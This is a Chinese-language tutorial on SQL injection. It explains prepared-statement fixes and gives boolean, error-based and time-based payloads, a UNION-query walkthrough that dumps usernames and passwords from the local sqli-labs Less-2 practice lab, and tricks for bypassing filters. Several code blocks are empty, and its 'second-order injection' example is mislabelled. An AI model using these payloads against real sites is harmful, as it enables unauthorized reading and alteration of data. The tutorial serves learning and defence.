SQL注入漏洞概念和危害
SQL注入是一种常见的网络安全漏洞,它允许攻击者通过在应用程序的输入中插入恶意的SQL代码来执行恶意操作。这种攻击通常发生在与数据库进行交互的应用程序中,如网站、应用程序或其他与数据库交互的软件。
概念:
SQL注入的概念涉及到在应用程序的输入中插入SQL代码,以执行未经授权的数据库操作。这通常发生在应用程序未正确验证、过滤或转义用户提供的输入数据的情况下。
攻击者利用输入验证不足的漏洞,将恶意的SQL代码注入到应用程序的数据库查询中。这使得攻击者能够执行任意的数据库操作,包括读取、修改或删除敏感数据,甚至完全控制数据库。
危害:
- 数据泄露: 攻击者可以利用SQL注入漏洞来访问和泄露敏感数据,如用户凭证、个人信息或其他机密信息。
- 数据篡改: 攻击者可以修改数据库中的数据,包括用户信息、交易记录等。这可能导致信息不一致性、虚假交易或其他损害。
- 拒绝服务: 通过执行破坏性的SQL语句,攻击者可能导致数据库性能下降,甚至完全拒绝服务,使应用程序不可用。
- 执行任意命令: 攻击者可以利用SQL注入漏洞执行任意的数据库命令,这可能包括创建新用户、提升权限或执行其他危险操作。
- 应用程序完全控制: 如果攻击者成功执行足够的恶意SQL代码,他们可能能够完全控制应用程序,甚至服务器。
SQL注入漏洞的修复建议
1.使用prepare语句进行预编译
在PHP中,可以使用预编译语句来防范SQL注入攻击。PHP中常用的数据库操作库是PDO(PHP Data Objects)和MySQLi(MySQL Improved)。以下是使用PDO和MySQLi的预编译语句的示例代码:
(1)使用PDO:
1 |
|
(2)使用MySQLi:
1 |
|
在上述代码中,使用了prepare
方法创建预编译语句,并使用bindParam
(PDO)或bind_param
(MySQLi)方法将参数绑定到预编译语句中。这样可以防范SQL注入攻击,因为用户输入被正确地参数化处理,而不是直接拼接到SQL查询中。
2.在Java中使用#{}
${}
是用于变量的直接替换,它会将变量的值直接拼接到SQL语句中。这种方式容易受到SQL注入的影响。#{}
是用于参数的预编译,它会将参数值作为占位符进行处理,从而防范SQL注入。MyBatis在处理#{}
时会使用预编译语句,确保传入的值不会对SQL语句产生直接的影响。
因此,对于SQL注入的防范,推荐使用 #{}
的方式,并结合预编译语句,而不是简单地将 ${}
替换为 #{}
。
SQL注释符
SQL注释符用于在SQL语句中添加注释,这样可以使代码更易于理解、维护,同时在某些情况下也可以用于绕过一些限制或进行恶意的SQL注入。以下是一些常见的SQL注释符:
-
单行注释(–):
-
单行注释使用
--
,后面的内容会被视为注释。 -
示例:
1
SELECT * FROM users WHERE username = 'admin' -- AND password = '123';
-
-
*多行注释(/* /):
-
多行注释使用
/* */
,注释部分可以跨越多行。 -
示例:
1
SELECT * FROM users WHERE username = 'admin' /* AND password = '123' */;
-
-
MySQL特有的#号注释:
-
MySQL支持使用
#
号作为单行注释,#的URL编码是%23。 -
示例:
1
SELECT * FROM users WHERE username = 'admin' # AND password = '123';
-
4.+号在SQL中被编译为空格
SQL注入漏洞类型
1. 布尔型:and 1=1或者 and 1=2
假设应用程序使用用户提供的数字值来执行数据库查询:
1 | SELECT * FROM products WHERE product_id = $userInput; |
攻击者可以尝试输入如下的恶意输入:
1 | userInput = 1 OR 1=1; |
这样构建的查询语句将变为:
1 | SELECT * FROM products WHERE product_id = 1 OR 1=1; |
这使得查询条件总是为真,导致返回所有产品的数据。
2. 报错型:
在字符型SQL注入中主要出现的符号为:' " ) %
,我们可以构造相应的字符使语句提前闭合,如果语句成功闭合则会返回语法错误。
1 | select * from tables where id = %$id%; |
报错型通用语句
1 | (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) |
3.时间型:
攻击者利用应用程序在执行SQL查询时的延迟来判断是否存在漏洞,而不直接回显数据。
1 | -1' or if(length(database())>8,sleep(10),0) and '1'='1 |
4.二次注入:
假设有一个简单的登录页面,用户需要输入用户名和密码来进行身份验证。如果该应用程序存在SQL注入漏洞,攻击者可能通过输入恶意的输入来利用这个漏洞。以下是一个简化的例子:
原始的SQL查询可能如下所示:
1 | SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码'; |
在正常情况下,用户输入的用户名和密码将被直接插入到SQL查询中。但是,如果应用程序没有正确验证和过滤输入,攻击者可能输入以下内容:
用户名:' OR '1'='1' --
密码:任意密码
这将导致构建的SQL查询变为:
1 | SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '任意密码'; |
在这个例子中,--
表示SQL注释,它使得原始查询中剩余的部分被忽略。由于 '1'='1'
总是为真,整个查询的条件将始终为真,因此系统将返回所有用户的数据,而不仅仅是具有输入的用户名和密码的用户。
SQL注入利用
1.手工注入
1.识别目标:
- 确定目标网站或应用程序存在潜在的SQL注入漏洞。这通常包括在用户输入处检查是否存在不安全的数据处理。
环境使用phpstudy+sqli-labs搭建,以Less-2为例
数据库名:security,在Navicat中可以看到该数据库的组织形式
2.找到注入点:
- 确定可以注入SQL代码的具体输入点,通常是在应用程序的URL参数、表单字段、Cookie或HTTP标头中。
在本题中,题目给出Please input the ID as parameter with numeric value
经过测试由id变量来控制输入不同的数据
3.测试注入点:
- 在注入点插入一些简单的SQL语句,例如
1' OR '1'='1
,看看是否能够改变查询的行为或获取额外的信息。
例如本题:
(1)构造?id=-1 or 1=1
使得条件恒为正确,结果显示正常,确定id变量为注入点
(2)构造?id=-1 or 1=1 order by 4
确定columns只有3列
如果order by 后的数字小于等于有效列则会正常显示,如果大于有效列则会报错
(3)构造联合查询确定显示位置
Union select:让原有查询语句为假,使拼合后的union select为真
1 | id=-1 union select 1,2,3 |
确定Your Login name在2位置回显,Your Password在3位置回显。
4.联合查询(Union-Based):
- 如果目标是从数据库中检索数据,尝试使用UNION语句合并额外的查询结果。
(1)查询当前数据库
1 | select database(); |
(2)查询所有的数据库
1 | select group_concat(schema_name) from information_schema.schemata; |
(3)查询security的所有表名
1 | select table_name from information_schema.tables where table_schema = "security" limit 0,1; |
(4)查询users的所有字段
1 | select column_name from information_schema.COLUMNS where table_schema = "security" and table_name="users" limit 0,1; |
给出一个完整URL实例:
1 | http://127.0.0.1:23334/Less-2/?id=-1%20union select 1,(select group_concat(column_name) from information_schema.COLUMNS where table_name="users"),3 |
(5)查询security.user的所有数据
1 | select group_concat(username,':',password,'</br>') from users |
2.利用自动化工具sqlmap注入
(1)查询当前数据库
1 | # GET请求 |
POST_request.txt为bp抓包获得的一个POST请求数据包
如果无法抓取127.0.0.1发送的数据包,可将本机地址改为局域网内地址,地址在cmd的ipconfig中获取。
(2)查询所有数据库
1 | # GET请求 |
(3)查询security所有表单
1 | # GET请求 |
(4)查询security.users的所有字段
1 | # GET请求 |
(5)查询security.users的所有数据
1 | # GET请求 |
SQL注入字符的绕过
-
双写绕过
例如过滤了"order by"中的or,可以使用“oorrder by”双写绕过,中间的or会被正则表达式过滤删除,然后拼接得到一个新的order by
-
空格替换
可以使用 %0A + /**/
替换空格,%20通常会被直接判定为空格故此处不写
-
Union Select绕过
使用union all select
进行替换
-
大小写绕过
附加知识
1.group_concat()聚合查询函数
GROUP_CONCAT()
函数是用于将每个分组中的值连接成一个字符串的聚合函数。它通常用于与GROUP BY
子句一起使用,将每个分组中的多个行合并成一个字符串。该函数在多种关系型数据库系统中都有支持,如MySQL、SQLite、PostgreSQL等。
原理:
GROUP_CONCAT()
函数的原理是对每个分组中的数据进行连接,形成一个包含所有值的字符串。连接的顺序通常由数据库引擎内部决定,而且可能不是特定的顺序。
使用方法:
MySQL示例:
假设有一个表 employees
:
1 | +----+---------+--------+ |
我们想按部门分组,将每个部门的员工名字连接成一个字符串。可以使用 GROUP_CONCAT()
函数实现:
1 | SELECT dept, GROUP_CONCAT(name ORDER BY id SEPARATOR ', ') AS employee_list |
上述查询将输出每个部门以及该部门下员工的名字连接成的字符串:
1 | +--------+---------------------+ |
在这个例子中,GROUP_CONCAT(name ORDER BY id SEPARATOR ', ')
表示按照 id
的顺序连接每个部门的员工名字,并使用逗号和空格作为分隔符。你也可以根据需要更改分隔符、排序规则等。
2.information_schema数据库
information_schema
是一个特殊的数据库,它包含了关于数据库服务器、数据库、表、列、索引、权限等元数据(metadata)的信息。这些信息以表格的形式存储,允许用户查询和了解数据库服务器的内部结构、配置和状态。
以下是 information_schema
数据库的一些常见用途:
- 元数据查询:
- 可以通过
information_schema
数据库中的表,如TABLES
、COLUMNS
、INDEXES
,来获取关于数据库中的表、列和索引的元数据信息。
- 可以通过
- 权限查询:
- 使用
information_schema
数据库的USER_PRIVILEGES
表,可以查询用户和角色的权限信息。
- 使用
- 数据库和表的配置信息:
- 查询
SCHEMATA
表和TABLES
表,可以获取有关数据库和表的配置信息,如字符集、排序规则等。
- 查询
- 表约束查询:
- 使用
KEY_COLUMN_USAGE
表,可以查询有关表的主键、外键等约束信息。
- 使用
- 视图和存储过程查询:
- 通过查询
VIEWS
表和ROUTINES
表,可以获取关于数据库中的视图和存储过程的信息。
- 通过查询
- 查询执行计划:
- 查询
PROCESSLIST
表可以获取有关当前执行的查询的信息,包括查询语句、执行时间等。
- 查询
- 查询服务器配置信息:
- 查询
GLOBAL_VARIABLES
表和SESSION_VARIABLES
表,可以获取有关数据库服务器全局配置和当前会话配置的信息。
- 查询